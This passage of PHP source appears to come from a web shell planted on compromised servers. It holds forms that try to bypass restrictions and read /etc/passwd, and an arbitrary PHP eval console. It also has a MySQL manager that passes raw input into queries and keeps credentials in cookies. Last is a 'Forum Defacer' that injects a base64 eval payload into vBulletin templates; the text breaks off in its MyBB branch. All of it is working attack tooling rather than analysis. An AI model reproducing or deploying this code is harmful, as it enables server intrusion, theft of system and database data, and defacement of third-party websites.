  2589.                         <form action="<?php echo $self; ?>" method="get">
  2590.                         <input type="hidden" name="bypass">
  2591.                         <input type="text" name="curl" value="/etc/passwd" class="sbox"> <input type="submit" value="bypass" class="but">
  2592.                         </form>
  2593.                     </td>
  2594.                 </tr>
  2595.                 <tr>
  2596.                     <td align="center">
  2597.                         <p>Bypass using include()</p>
  2598.                         <form action="<?php echo $self; ?>" method="get">
  2599.                         <input type="hidden" name="bypass">
  2600.                         <input type="text" name="include" value="/etc/passwd" class="sbox"> <input type="submit" value="bypass" class="but">
  2601.                         </form>
  2602.                     </td>
  2603.                     <td align="center">
  2604.                         <p>Using id() function</p>
  2605.                         <form action="<?php echo $self; ?>" method="get">
  2606.                         <input type="hidden" name="bypass">
  2607.                         <input type="text" name="id" value="/etc/passwd" class="sbox"> <input type="submit" value="bypass" class="but">
  2608.                         </form>
  2609.                     </td>
  2610.                 </tr>
  2611.                 <tr>
  2612.                     <td align="center">
  2613.                         <p>Using tempnam() function</p>
  2614.                         <form action="<?php echo $self; ?>" method="get">
  2615.                         <input type="hidden" name="bypass">
  2616.                         <input type="text" name="tempname" value="../../../etc/passwd" class="sbox"> <input type="submit" value="bypass" class="but">
  2617.                         </form>
  2618.                     </td>
  2619.                     <td align="center">
  2620.                         <p>Using symlink() function</p>
  2621.                         <form action="<?php echo $self; ?>" method="get">
  2622.                         <input type="hidden" name="bypass">
  2623.                         <input type="text" name="sym" value="/etc/passwd" class="sbox"> <input type="submit" value="bypass" class="but">
  2624.                         </form>
  2625.                     </td>
  2626.                 </tr>
  2627.             </table>
  2628.             </form>
  2629.             <?php
  2630.         }
  2631.     }
  2632.     else if (isset($_GET["phpc"]))
  2633.     {
  2634.         // If the comand was sent
  2635.         if(isset($_POST['code'])&& $_POST['code'] && isset($_POST['intext'])&& $_POST['intext'] == "disp")
  2636.         {
  2637.             // FIlter Some Chars we dont need
  2638.             ?><br>
  2639.             <textarea name="code" class="box" cols="120" rows="10"><?php
  2640.             $code = str_replace("<?php","",$_POST['code']);
  2641.             $code = str_replace("<?","",$code);
  2642.             $code = str_replace("?>","",$code);
  2643.             // Evaluate PHP CoDE!
  2644.             htmlspecialchars(eval($code));
  2645.             ?>
  2646.             </textarea><?php
  2647.         }
  2648.         else if(isset($_POST['code'])&& $_POST['code'] && !isset($_POST['intext']))
  2649.         {
  2650.             $code = str_replace("<?php","",$_POST['code']);
  2651.             $code = str_replace("<?","",$code);
  2652.             $code = str_replace("?>","",$code);
  2653.             // Evaluate PHP CoDE!
  2654.             ?><br><font size="4">Result of execution this PHP-code :</font><br><font class="txt" size="3"><?php htmlspecialchars(eval($code)); ?></font><?php
  2655.         }
  2656.       ?>
  2657.     <form method="POST">
  2658.     <textarea name="code" class="box" cols="120" rows="10"><?php if(isset($_POST['code'])) { echo $_POST['code']; } else { ?>phpinfo();<?php } ?></textarea>
  2659.     <br /><br />
  2660.     <input name="submit" value="Execute This COde! " class="but" type="submit" />
  2661.     <input type="checkbox" name="intext" value="disp"> <font class="txt" size="3">Display in Textarea</font>
  2662.     </form>
  2663.     <?php
  2664.     }
  2665. else if(isset($_GET['database']))
  2666. { ?>
  2667.     <form action=<?php echo $self; ?> method="POST">
  2668.     <table style="width:90%;" cellpadding="4" align="center">
  2669.     <tr>
  2670.         <td colspan="2">Connect To Database</td>
  2671.     </tr>
  2672.     <tr>
  2673.         <td>Server Address :</td>
  2674.         <td><input type="text" class="box" name="server" value="localhost"></td>
  2675.         <!--<td rowspan="4"><textarea name="query" cols="60" rows="7" class="box">SHOW DATABASE</textarea>-->
  2676.     </tr>
  2677.     <tr>
  2678.         <td>Username :</td>
  2679.         <td><input type="text" class="box" name="username" value="root"></td>
  2680.     </tr>
  2681.     <tr>
  2682.         <td>Password:</td>
  2683.         <td><input type="text" class="box" name="password" value=""></td>
  2684.     </tr>
  2685.     <tr>
  2686.         <td></td>
  2687.         <td><input type="submit" value="  Connect  " name="executeit" class="but"></td>
  2688.     </tr>
  2689.     </table>
  2690.     </form>
  2691. <?php
  2692. }
  2693. // Execute Query
  2694.     else if(isset($_POST["executeit"]))
  2695.     {
  2696.         if(isset($_POST['username'])  && isset($_POST['server']))
  2697.         {
  2698.             $dbserver = $_POST['server'];
  2699.             $dbuser = $_POST['username'];
  2700.             $dbpass = $_POST['password'];
  2701.             setcookie("dbserver", $dbserver);          
  2702.             setcookie("dbuser", $dbuser);
  2703.             setcookie("dbpass", $dbpass);
  2704.             header("Location:$self?data");                     
  2705.         }
  2706.     }
  2707.     else if(isset($_GET['data']))
  2708.     {
  2709.         listdatabase();
  2710.     }
  2711.     else if(isset($_GET['viewdb']))
  2712.     {
  2713.         listdatabase();
  2714.     }
  2715.     else if(isset($_GET['action']) && isset($_GET['dbname']))
  2716.     {
  2717.         if($_GET['action'] == "createDB")
  2718.         {
  2719.             $dbname = $_GET['dbname'];
  2720.             $dbserver = $_COOKIE["dbserver"];
  2721.             $dbuser = $_COOKIE["dbuser"];
  2722.             $dbpass = $_COOKIE["dbpass"];
  2723.             $mysqlHandle = mysql_connect($dbserver, $dbuser, $dbpass);
  2724.             mysql_query("create database $dbname",$mysqlHandle);
  2725.             listdatabase();
  2726.         }
  2727.         if($_GET['action'] == 'dropDB')
  2728.         {
  2729.             $dbname = $_GET['dbname'];
  2730.             $dbserver = $_COOKIE["dbserver"];
  2731.             $dbuser = $_COOKIE["dbuser"];
  2732.             $dbpass = $_COOKIE["dbpass"];
  2733.             $mysqlHandle = mysql_connect($dbserver, $dbuser, $dbpass);
  2734.             mysql_query("drop database $dbname",$mysqlHandle);
  2735.             mysql_close($mysqlHandle);
  2736.             listdatabase();
  2737.         }
  2738.         if($_GET['action'] == 'listTables')
  2739.         {
  2740.             listtable();
  2741.         }
  2742.         // Create Tables
  2743.         if($_GET['action'] == "createtable")
  2744.         {
  2745.             $dbserver = $_COOKIE["dbserver"];
  2746.             $dbuser = $_COOKIE["dbuser"];
  2747.             $dbpass = $_COOKIE["dbpass"];
  2748.             $dbname = $_GET['dbname'];
  2749.             $tablename = $_GET['tablename'];
  2750.             $mysqlHandle = mysql_connect ($dbserver, $dbuser, $dbpass);
  2751.             mysql_select_db($dbname);
  2752.             mysql_query("CREATE TABLE $tablename ( no INT )");
  2753.             listtable();
  2754.         }
  2755.         // Drop Tables
  2756.         if($_GET['action'] == "dropTable")
  2757.         {
  2758.             $dbserver = $_COOKIE["dbserver"];
  2759.             $dbuser = $_COOKIE["dbuser"];
  2760.             $dbpass = $_COOKIE["dbpass"];
  2761.             $dbname = $_GET['dbname'];
  2762.             $tablename = $_GET['tablename'];
  2763.             $mysqlHandle = mysql_connect ($dbserver, $dbuser, $dbpass);
  2764.             mysql_select_db($dbname);
  2765.             mysql_query("drop table $tablename");
  2766.             listtable();
  2767.         }
  2768.         // Empty Tables
  2769.         if($_GET['action'] == "empty")
  2770.         {
  2771.             $dbserver = $_COOKIE["dbserver"];
  2772.             $dbuser = $_COOKIE["dbuser"];
  2773.             $dbpass = $_COOKIE["dbpass"];
  2774.             $dbname = $_GET['dbname'];
  2775.             $tablename = $_GET['tablename'];
  2776.             $mysqlHandle = mysql_connect ($dbserver, $dbuser, $dbpass);
  2777.             mysql_select_db($dbname);
  2778.             mysql_query("delete from $tablename");
  2779.             listtable();
  2780.         }
  2781.         // Empty Tables
  2782.         if($_GET['action'] == "dropField")
  2783.         {
  2784.             $dbserver = $_COOKIE["dbserver"];
  2785.             $dbuser = $_COOKIE["dbuser"];
  2786.             $dbpass = $_COOKIE["dbpass"];
  2787.             $dbname = $_GET['dbname'];
  2788.             $tablename = $_GET['tablename'];
  2789.             $fieldname = $_GET['fieldname'];
  2790.             $mysqlHandle = mysql_connect ($dbserver, $dbuser, $dbpass);
  2791.             mysql_select_db($dbname);
  2792.             $queryStr = "ALTER TABLE $tablename DROP COLUMN $fieldname";
  2793.             mysql_select_db( $dbname, $mysqlHandle );
  2794.             mysql_query( $queryStr , $mysqlHandle );
  2795.             listtable();
  2796.         }
  2797.         // View Table Schema
  2798.         if($_GET['action'] == "viewSchema")
  2799.         {
  2800.             $dbserver = $_COOKIE["dbserver"];
  2801.             $dbuser = $_COOKIE["dbuser"];
  2802.             $dbpass = $_COOKIE["dbpass"];
  2803.             $dbname = $_GET['dbname'];
  2804.             $tablename = $_GET['tablename'];
  2805.             $mysqlHandle = mysql_connect ($dbserver, $dbuser, $dbpass);
  2806.             mysql_select_db($dbname);
  2807.             echo "<br><div><font size=3>[ $dbname ]</font> - <font size=3>&gt;</font> <a href=$self?viewdb&dbname=$dbname> <font size=3>Database List</font> </a> <font size=3>&gt;</font> <a href=$self?action=listTables&dbname=$dbname&tablename=$tablename> <font size=3>Table List</font> </a> &nbsp; <a href=$self?logoutdb> <font class=txt size=3>[ Log Out ]</font> </a></div>";  
  2808.             $pResult = mysql_query( "SHOW fields FROM $tablename" );
  2809.             $num = mysql_num_rows( $pResult );
  2810.             echo "<br><br><table align=center class=tbl style='width:80%;' border=1>";
  2811.             echo "<th>Field</th><th>Type</th><th>Null</th><th>Key</th></th>";
  2812.             for( $i = 0; $i < $num; $i++ )
  2813.             {
  2814.                 $field = mysql_fetch_array( $pResult );
  2815.                 echo "<tr>\n";
  2816.                 echo "<td>".$field["Field"]."</td>\n";
  2817.                 echo "<td>".$field["Type"]."</td>\n";
  2818.                 echo "<td>".$field["Null"]."</td>\n";
  2819.                 echo "<td>".$field["Key"]."</td>\n";
  2820.                 echo "<td>".$field["Default"]."</td>\n";
  2821.                 echo "<td>".$field["Extra"]."</td>\n";
  2822.                 $fieldname = $field["Field"];
  2823.                 echo "<td><a href='$self?action=dropField&dbname=$dbname&tablename=$tablename&fieldname=$fieldname' onClick=\"return confirm('Drop Field \'$fieldname\'?')\">Drop</a></td>\n";
  2824.                 echo "</tr>\n";
  2825.             }
  2826.             echo "</table>";
  2827.             echo "<div><font size=3>[ $dbname ]</font> - <font size=3>&gt;</font> <a href=$self?viewdb&dbname=$dbname> <font size=3>Database List</font> </a> <font size=3>&gt;</font> <a href=$self?action=listTables&dbname=$dbname&tablename=$tablename> <font size=3>Table List</font> </a> &nbsp; <a href=$self?logoutdb> <font class=txt size=3>[ Log Out ]</font> </a></div>";
  2828.         }
  2829.         // Execute Query
  2830.         if($_GET['action'] == "executequery")
  2831.         {
  2832.             $dbserver = $_COOKIE["dbserver"];
  2833.             $dbuser = $_COOKIE["dbuser"];
  2834.             $dbpass = $_COOKIE["dbpass"];
  2835.             $dbname = $_GET['dbname'];
  2836.             $tablename = $_GET['tablename'];
  2837.             $mysqlHandle = mysql_connect ($dbserver, $dbuser, $dbpass);
  2838.             mysql_select_db($dbname);
  2839.             $result = mysql_query($_GET['executemyquery']);
  2840.             //  results
  2841.             echo "<html>\r\n". strtoupper($_GET['executemyquery']) . "<br>\r\n<table class=tbl border =\"1\">\r\n";
  2842.             $count = 0;
  2843.             while ($row = mysql_fetch_assoc($result))
  2844.             {
  2845.                echo "<tr>\r\n";
  2846.                if ($count==0) // list column names
  2847.                {
  2848.                   echo "<tr>\r\n";
  2849.                   while($key = key($row))
  2850.                   {
  2851.                      echo "<td><b>" . $key . "</b></td>\r\n";
  2852.                      next($row);
  2853.                   }
  2854.                   echo "</tr>\r\n";
  2855.                }
  2856.                foreach($row as $r) // list content of column names
  2857.                {
  2858.                   if ($r=='') $r = '<font class=txt>NULL</font>';
  2859.                   echo "<td><font>" . $r . "</font></td>\r\n";
  2860.                }
  2861.                echo "</tr>\r\n";
  2862.                $count++;
  2863.             }
  2864.             echo "</table>\n\r<font class=txt size=3>" . $count . " rows returned.</font>\r\n</html>";
  2865.             echo "<div><font color=white size=3>[ $dbname ]</font> - <font color=white size=3>&gt;</font> <a href=$self?viewdb&dbname=$dbname> <font size=3>Database List</font> </a> <font color=white size=3>&gt;</font> <a href=$self?action=listTables&dbname=$dbname&tablename=$tablename> <font size=3>Table List</font> </a> &nbsp; <a href=$self?logoutdb> <font size=3>[ Log Out ]</font> </a></div>";
  2866.         }
  2867.         // View Table Data
  2868.         if($_GET['action'] == "viewdata")
  2869.         {
  2870.             global $queryStr, $action, $mysqlHandle, $dbname, $tablename, $PHP_SELF, $errMsg, $page, $rowperpage, $orderby, $data;
  2871.             $dbserver = $_COOKIE["dbserver"];
  2872.             $dbuser = $_COOKIE["dbuser"];
  2873.             $dbpass = $_COOKIE["dbpass"];
  2874.             $dbname = $_GET['dbname'];
  2875.             $tablename = $_GET['tablename'];
  2876.             echo "<br><div><font size=3>[ $dbname ]</font> - <font size=3>&gt;</font> <a href=$self?viewdb&dbname=$dbname> <font size=3>Database List</font> </a> <font size=3>&gt;</font> <a href=$self?action=listTables&dbname=$dbname&tablename=$tablename> <font size=3>Table List</font> </a> &nbsp; <a href=$self?logoutdb> <font class=txt size=3>[ Log Out ]</font> </a></div>";  
  2877.             ?>
  2878.             <br><br>
  2879.             <form>
  2880.             <input type="hidden" value="<?php echo $_GET['dbname']; ?>" name="dbname">
  2881.             <input type="hidden" value="<?php echo $_GET['tablename']; ?>" name="tablename">
  2882.             <input type="hidden" value="executequery" name="action">
  2883.             <table>
  2884.                 <tr>
  2885.                     <td><textarea cols="60" rows="7" name="executemyquery" class="box">Execute Query..</textarea></td>
  2886.                 </tr>
  2887.                 <tr>
  2888.                     <td><input type="submit" value="Execute" class="but"></td>
  2889.                 </tr>
  2890.             </table>
  2891.             </form>
  2892.             <?php
  2893.             $mysqlHandle = mysql_connect ($dbserver, $dbuser, $dbpass);
  2894.             mysql_select_db($dbname);
  2895.             $sql = mysql_query("SELECT `COLUMN_NAME` FROM `information_schema`.`COLUMNS` WHERE (`TABLE_SCHEMA` = '$dbname')  AND (`TABLE_NAME` = '$tablename')  AND (`COLUMN_KEY` = 'PRI');");
  2896.             $row = mysql_fetch_array($sql);
  2897.             $rowid = $row['COLUMN_NAME'];
  2898.             echo "<br><font size=4>Data in Table</font><br>";
  2899.             if( $tablename != "" )
  2900.                 echo "<font size=3 class=txt>$dbname &gt; $tablename</font><br>";
  2901.             else
  2902.                 echo "<font size=3 class=txt>$dbname</font><br>";
  2903.             $queryStr = "";
  2904.             $pag = 0;
  2905.             $queryStr = stripslashes( $queryStr );
  2906.             if( $queryStr == "" )
  2907.             {
  2908.                 if(isset($_REQUEST['page']))
  2909.                 {
  2910.                     $res = mysql_query("select * from $tablename");
  2911.                     $getres = mysql_num_rows($res);
  2912.                     $coun = ceil($getres/30);
  2913.                     if($_REQUEST['page'] != 1)
  2914.                         $pag = $_REQUEST['page'] * 30;
  2915.                     else
  2916.                         $pag = $_REQUEST['page'] * 30;
  2917.                     $queryStr = "SELECT * FROM $tablename LIMIT $pag,30";
  2918.                     $sql = mysql_query("SELECT $rowid FROM $tablename ORDER BY $rowid LIMIT $pag,30");
  2919.                     $arrcount = 1;
  2920.                     $arrdata[$arrcount] = 0;
  2921.                     while($row = mysql_fetch_array($sql))
  2922.                     {
  2923.                         $arrdata[$arrcount] = $row[$rowid];
  2924.                         $arrcount++;
  2925.                     }
  2926.                 }
  2927.                 else
  2928.                 {
  2929.                     $queryStr = "SELECT * FROM $tablename LIMIT 0,30";
  2930.                     $sql = mysql_query("SELECT $rowid FROM $tablename ORDER BY $rowid LIMIT 0,30");
  2931.                     $arrcount = 1;
  2932.                     $arrdata[$arrcount] = 0;
  2933.                     while($row = mysql_fetch_array($sql))
  2934.                     {
  2935.                         $arrdata[$arrcount] = $row[$rowid];
  2936.                         $arrcount++;
  2937.                     }
  2938.                 }
  2939.                 if( $orderby != "" )
  2940.                     $queryStr .= " ORDER BY $orderby";
  2941.                 echo "<a href='$PHP_SELF?action=viewSchema&dbname=$dbname&tablename=$tablename'><font size=3>Schema</font></a>\n";
  2942.             }
  2943.             $pResult = mysql_query($queryStr );
  2944.             $fieldt = mysql_fetch_field($pResult);
  2945.             $tablename = $fieldt->table;
  2946.             $errMsg = mysql_error();
  2947.             $GLOBALS[queryStr] = $queryStr;
  2948.             if( $pResult == false )
  2949.             {
  2950.                 echoQueryResult();
  2951.                 return;
  2952.             }
  2953.             if( $pResult == 1 )
  2954.             {
  2955.                 $errMsg = "Success";
  2956.                 echoQueryResult();
  2957.                 return;
  2958.             }
  2959.             echo "<hr color=#1B1B1B>\n";
  2960.             $row = mysql_num_rows( $pResult );
  2961.             $col = mysql_num_fields( $pResult );
  2962.             if( $row == 0 )
  2963.             {
  2964.                 echo "<font size=3>No Data Exist!</font>";
  2965.                 return;
  2966.             }
  2967.             if( $rowperpage == "" ) $rowperpage = 30;
  2968.             if( $page == "" ) $page = 0;
  2969.             else $page--;
  2970.             mysql_data_seek( $pResult, $page * $rowperpage );
  2971.             echo "<table cellspacing=1 cellpadding=5 border=1 class=tbl align=center>\n";
  2972.             echo "<tr>\n";
  2973.             for( $i = 0; $i < $col; $i++ )
  2974.             {
  2975.                 $field = mysql_fetch_field( $pResult, $i );
  2976.                 echo "<th>";
  2977.                 if($action == "viewdata")
  2978.                     echo "<a href='$PHP_SELF?action=viewdata&dbname=$dbname&tablename=$tablename&orderby=".$field->name."'>".$field->name."</a>\n";
  2979.                 else
  2980.                     echo $field->name."\n";
  2981.                 echo "</th>\n";
  2982.             }
  2983.             echo "<th colspan=2>Action</th>\n";
  2984.             echo "</tr>\n";
  2985.             $num=1;
  2986.             $acount = 1;
  2987.             for( $i = 0; $i < $rowperpage; $i++ )
  2988.             {
  2989.                 $rowArray = mysql_fetch_row( $pResult );
  2990.                 if( $rowArray == false ) break;
  2991.                 echo "<tr>\n";
  2992.                 $key = "";
  2993.                 for( $j = 0; $j < $col; $j++ )
  2994.                  {
  2995.                     $data = $rowArray[$j];
  2996.                     $field = mysql_fetch_field( $pResult, $j );
  2997.                     if( $field->primary_key == 1 )
  2998.                         $key .= "&" . $field->name . "=" . $data;
  2999.                     if( strlen( $data ) > 30 )
  3000.                         $data = substr( $data, 0, 30 ) . "...";
  3001.                     $data = htmlspecialchars( $data );
  3002.                     echo "<td>\n";
  3003.                     echo "<font class=txt>$data</font>\n";
  3004.                     echo "</td>\n";
  3005.                 }
  3006.                 if(!is_numeric($arrdata[$acount]))
  3007.                 echo "<td colspan=2>No Key</td>\n";
  3008.                 else
  3009.                 {
  3010.                     echo "<td><a href='$PHP_SELF?action=editData&$rowid=$arrdata[$acount]&dbname=$dbname&tablename=$tablename'>Edit</a></td>\n";
  3011.                     echo "<td><a href='$PHP_SELF?action=deleteData&$rowid=$arrdata[$acount]&dbname=$dbname&tablename=$tablename' onClick=\"return confirm('Delete Row?')\">Delete</a></td>\n";
  3012.                     $acount++;
  3013.                 }
  3014.             }
  3015.             echo "</tr>\n";
  3016.             echo "</table>";
  3017.             if($arrcount > 30)
  3018.             {
  3019.                 $res = mysql_query("select * from $tablename");
  3020.                 $getres = mysql_num_rows($res);
  3021.                 $coun = ceil($getres/30);
  3022.                 echo "<form action=$self><input type=hidden value=viewdata name=action><input type=hidden name=tablename value=$tablename><input type=hidden value=$dbname name=dbname><select style='width: 95px;' name=page class=sbox>";
  3023.                 for($i=0;$i<$coun;$i++)
  3024.                     echo "<option value=$i>$i</option>";
  3025.                 echo "</select> <input type=submit value=Go class=but></form>";
  3026.                 echo "<br><div><font size=3>[ $dbname ]</font> - <font size=3>&gt;</font> <a href=$self?viewdb&dbname=$dbname> <font size=3>Database List</font> </a> <font size=3>&gt;</font> <a href=$self?action=listTables&dbname=$dbname&tablename=$tablename> <font size=3>Table List</font> </a> &nbsp; <a href=$self?logoutdb> <font class=txt size=3>[ Log Out ]</font> </a></div>";  
  3027.             }
  3028.         }
  3029.         // Delete Table Data
  3030.         if($_GET['action'] == "deleteData")
  3031.         {
  3032.             $dbserver = $_COOKIE["dbserver"];
  3033.             $dbuser = $_COOKIE["dbuser"];
  3034.             $dbpass = $_COOKIE["dbpass"];
  3035.             $dbname = $_GET['dbname'];
  3036.             $tablename = $_GET['tablename'];
  3037.             $mysqlHandle = mysql_connect ($dbserver, $dbuser, $dbpass);
  3038.             mysql_select_db($dbname);
  3039.             $sql = mysql_query("SELECT `COLUMN_NAME` FROM `information_schema`.`COLUMNS` WHERE (`TABLE_SCHEMA` = '$dbname')  AND (`TABLE_NAME` = '$tablename')  AND (`COLUMN_KEY` = 'PRI');");
  3040.             $row = mysql_fetch_array($sql);
  3041.             $row = $row['COLUMN_NAME'];
  3042.             $rowid = $_GET[$row];
  3043.             mysql_query("delete from $tablename where $row = '$rowid'");
  3044.             header("Location:$self?action=viewdata&dbname=$dbname&tablename=$tablename");
  3045.         }
  3046.         // Edit Table Data
  3047.         if($_GET['action'] == "editData")
  3048.         {
  3049.             global $queryStr, $action, $mysqlHandle, $dbname, $tablename, $PHP_SELF, $errMsg, $page, $rowperpage, $orderby, $data;
  3050.             $dbserver = $_COOKIE["dbserver"];
  3051.             $dbuser = $_COOKIE["dbuser"];
  3052.             $dbpass = $_COOKIE["dbpass"];
  3053.             $dbname = $_GET['dbname'];
  3054.             $tablename = $_GET['tablename'];
  3055.             echo "<br><div><font color=white size=3>[ $dbname ]</font> - <font color=white size=3>&gt;</font> <a href=$self?viewdb&dbname=$dbname> <font size=3>Database List</font> </a> <font color=white size=3>&gt;</font> <a href=$self?action=listTables&dbname=$dbname&tablename=$tablename> <font size=3>Table List</font> </a> &nbsp; <a href=$self?logoutdb> <font size=3>[ Log Out ]</font> </a></div>";
  3056.             ?>
  3057.             <br><br>
  3058.             <form action="<?php echo $self; ?>" method="post">
  3059.             <input type="hidden" name="tablename" value="<?php echo $tablename; ?>">
  3060.             <input type="hidden" name="action" value="editsubmitData">
  3061.             <?php
  3062.             $mysqlHandle = mysql_connect ($dbserver, $dbuser, $dbpass);
  3063.             mysql_select_db($dbname);
  3064.             $sql = mysql_query("SELECT `COLUMN_NAME` FROM `information_schema`.`COLUMNS` WHERE (`TABLE_SCHEMA` = '$dbname')  AND (`TABLE_NAME` = '$tablename')  AND (`COLUMN_KEY` = 'PRI');");
  3065.             $row = mysql_fetch_array($sql);
  3066.             $row = $row['COLUMN_NAME'];
  3067.             $rowid = $_GET[$row];
  3068.             $pResult = mysql_list_fields( $dbname, $tablename );
  3069.             $num = mysql_num_fields( $pResult );
  3070.             $key = "";
  3071.             for( $i = 0; $i < $num; $i++ )
  3072.             {
  3073.                 $field = mysql_fetch_field( $pResult, $i );
  3074.                 if( $field->primary_key == 1 )
  3075.                     if( $field->numeric == 1 )
  3076.                         $key .= $field->name . "=" . $GLOBALS[$field->name] . " AND ";
  3077.                     else
  3078.                         $key .= $field->name . "='" . $GLOBALS[$field->name] . "' AND ";
  3079.             }
  3080.             $key = substr( $key, 0, strlen($key)-4 );
  3081.             mysql_select_db( $dbname, $mysqlHandle );
  3082.             $pResult = mysql_query( $queryStr =  "SELECT * FROM $tablename WHERE $row = $rowid", $mysqlHandle );
  3083.             $data = mysql_fetch_array( $pResult );
  3084.             echo "<input type=hidden name=dbname value=$dbname>\n";
  3085.             echo "<input type=hidden name=tablename value=$tablename>\n";
  3086.             echo "<input type=hidden name=$row value=$rowid>";
  3087.             echo "<table class=tbl cellspacing=1 cellpadding=2 border=1>\n";
  3088.             echo "<tr>\n";
  3089.             echo "<th>Name</th>\n";
  3090.             echo "<th>Type</th>\n";
  3091.             echo "<th>Function</th>\n";
  3092.             echo "<th>Data</th>\n";
  3093.             echo "</tr>\n";
  3094.             $pResult = mysql_db_query( $dbname, "SHOW fields FROM $tablename" );
  3095.             $num = mysql_num_rows( $pResult );
  3096.             $pResultLen = mysql_list_fields( $dbname, $tablename );
  3097.             for( $i = 0; $i < $num; $i++ )
  3098.             {
  3099.                 $field = mysql_fetch_array( $pResult );
  3100.                 $fieldname = $field["Field"];
  3101.                 $fieldtype = $field["Type"];
  3102.                 $len = mysql_field_len( $pResultLen, $i );
  3103.                 echo "<tr>";
  3104.                 echo "<td>$fieldname</td>";
  3105.                 echo "<td>".$field["Type"]."</td>";
  3106.                 echo "<td>\n";
  3107.                 echo "<select name=${fieldname}_function class=sbox>\n";
  3108.                 echo "<option>\n";
  3109.                 echo "<option>ASCII\n";
  3110.                 echo "<option>CHAR\n";
  3111.                 echo "<option>SOUNDEX\n";
  3112.                 echo "<option>CURDATE\n";
  3113.                 echo "<option>CURTIME\n";
  3114.                 echo "<option>FROM_DAYS\n";
  3115.                 echo "<option>FROM_UNIXTIME\n";
  3116.                 echo "<option>NOW\n";
  3117.                 echo "<option>PASSWORD\n";
  3118.                 echo "<option>PERIOD_ADD\n";
  3119.                 echo "<option>PERIOD_DIFF\n";
  3120.                 echo "<option>TO_DAYS\n";
  3121.                 echo "<option>USER\n";
  3122.                 echo "<option>WEEKDAY\n";
  3123.                 echo "<option>RAND\n";
  3124.                 echo "</select>\n";
  3125.                 echo "</td>\n";
  3126.                 $value = htmlspecialchars($data[$i]);
  3127.                 $type = strtok( $fieldtype, " (,)\n" );
  3128.                 if( $type == "enum" || $type == "set" )
  3129.                 {
  3130.                     echo "<td>\n";
  3131.                     if( $type == "enum" )
  3132.                         echo "<select name=$fieldname class=box>\n";
  3133.                     else if( $type == "set" )
  3134.                         echo "<select name=$fieldname size=4 class=box multiple>\n";
  3135.                     while( $str = strtok( "'" ) )
  3136.                     {
  3137.                         if( $value == $str )
  3138.                             echo "<option selected>$str\n";
  3139.                         else
  3140.                             echo "<option>$str\n";
  3141.                         strtok( "'" );
  3142.                     }
  3143.                     echo "</select>\n";
  3144.                     echo "</td>\n";
  3145.                     }
  3146.                     else
  3147.                     {
  3148.                         if( $len < 40 )
  3149.                             echo "<td><input type=text size=40 maxlength=$len name=$fieldname value=\"$value\" class=box></td>\n";
  3150.                         else
  3151.                             echo "<td><textarea cols=47 rows=3 maxlength=$len name=$fieldname class=box>$value</textarea>\n";
  3152.                     }
  3153.                 echo "</tr>";
  3154.             }
  3155.             echo "</table><p>\n";
  3156.             echo "<input type=submit value='Edit Data' class=but>\n";
  3157.             echo "<input type=button value='Cancel' onClick='history.back()' class=but>\n";
  3158.             echo "</form>\n";
  3159.         }
  3160.     }
  3161.     // Edit Submit Table Data
  3162.     else if($_REQUEST['action'] == "editsubmitData")
  3163.     {
  3164.             $dbserver = $_COOKIE["dbserver"];
  3165.             $dbuser = $_COOKIE["dbuser"];
  3166.             $dbpass = $_COOKIE["dbpass"];
  3167.             $dbname = $_POST['dbname'];
  3168.             $tablename = $_POST['tablename'];
  3169.             $mysqlHandle = mysql_connect ($dbserver, $dbuser, $dbpass);
  3170.             mysql_select_db($dbname);
  3171.             $sql = mysql_query("SELECT `COLUMN_NAME` FROM `information_schema`.`COLUMNS` WHERE (`TABLE_SCHEMA` = '$dbname')  AND (`TABLE_NAME` = '$tablename')  AND (`COLUMN_KEY` = 'PRI');");
  3172.             $row = mysql_fetch_array($sql);
  3173.             $row = $row['COLUMN_NAME'];
  3174.             $rowid = $_POST[$row];
  3175.             $pResult = mysql_db_query( $dbname, "SHOW fields FROM $tablename" );
  3176.             $num = mysql_num_rows( $pResult );
  3177.             $rowcount = $num;
  3178.             $pResultLen = mysql_list_fields( $dbname, $tablename );
  3179.             for( $i = 0; $i < $num; $i++ )
  3180.             {
  3181.                 $field = mysql_fetch_array( $pResult );
  3182.                 $fieldname = $field["Field"];
  3183.                 $arrdata = $_REQUEST[$fieldname];
  3184.                 $str .= " " . $fieldname . " = '" . $arrdata . "'";
  3185.                 $rowcount--;
  3186.                 if($rowcount != 0)
  3187.                     $str .= ",";
  3188.             }
  3189.             $str = "update $tablename set" . $str . " where $row=$rowid";
  3190.             mysql_query($str);
  3191.             header("Location:$self?action=viewdata&dbname=$dbname&tablename=$tablename");
  3192.     }
  3193.     else if(isset($_GET['logoutdb']))
  3194.     {
  3195.         setcookie("dbserver",time() - 60*60);
  3196.         setcookie("dbuser",time() - 60*60);
  3197.         setcookie("dbpass",time() - 60*60);
  3198.         header("Location:$self?database");
  3199.     }
  3200.     // Forum Manager
  3201.     else if(isset($_REQUEST["forum"]))
  3202.     { ?>
  3203.         <center><table><tr><td><a href="<?php echo $self; ?>?forum&defaceforum"><font size="4">| Forum Defacer |</font></a></td>
  3204.         <td><a href="<?php echo $self; ?>?forum&passwordchange"><font size="4">| Forum Password Changer |</font></a></td>
  3205.         </tr></table></center><br>
  3206.         <?php
  3207.         if(isset($_REQUEST["defaceforum"]))
  3208.         {
  3209.             // Deface Forums
  3210.             if(isset($_POST['forumdeface']))
  3211.             {
  3212.                 if($_POST['forumdeface'] == "Hack VB")
  3213.                 {
  3214.                     $localhost =  $_POST['f1'];
  3215.                     $database =  $_POST['f2'];
  3216.                     $username =  $_POST['f3'];
  3217.                     $password =  $_POST['f4'];
  3218.                     $index    =  $_POST['index'];
  3219.                     $prefix    =  $_POST['prefix'];
  3220.                         $con =@ mysql_connect($localhost,$username,$password);
  3221.                         $db =@ mysql_select_db($database,$con);  
  3222.                         $index=str_replace('"','\\"',$index);
  3223.                         $attack  = "{\${eval(base64_decode(\'";
  3224.                         $attack .= base64_encode("echo \"$index\";");
  3225.                         $attack .= "\'))}}{\${exit()}}</textarea>";
  3226.                         if($prefix == "" || $prefix == null)
  3227.                             $query = "UPDATE template SET template = '$attack'";
  3228.                         else
  3229.                             $query = "UPDATE ".$prefix."template SET template = '$attack'";
  3230.                         $result =@ mysql_query($query,$con);
  3231.                         if($result)
  3232.                         {
  3233.                             echo "<center><font size=4><blink>Vbulletin Forum Defaced Successfully</blink></font></center>";
  3234.                         }
  3235.                         else
  3236.                         {
  3237.                             echo "<center><font class=txt size=4><blink>Cannot Deface Vbulletin Forum</blink></font></center>";
  3238.                         }
  3239.                 }
  3240.                 else if($_POST['forumdeface'] == "Hack MyBB")
  3241.                 {
  3242.                     $localhost =  $_POST['f1'];
  3243.                     $database =  $_POST['f2'];
  3244.                     $username =  $_POST['f3'];
